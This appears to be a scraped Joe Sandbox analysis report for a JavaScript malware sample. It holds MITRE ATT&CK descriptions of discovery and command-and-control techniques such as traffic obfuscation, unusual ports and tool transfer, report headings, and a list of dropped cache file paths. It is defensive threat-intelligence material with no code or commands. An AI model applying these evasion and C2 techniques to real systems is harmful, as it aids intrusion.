Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1003135002549521218.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e0fdf56f-8ad9-43e3-a9d0-10a4490a1713.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2104

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2104

Windows Analysis Report
1003135002549521218.js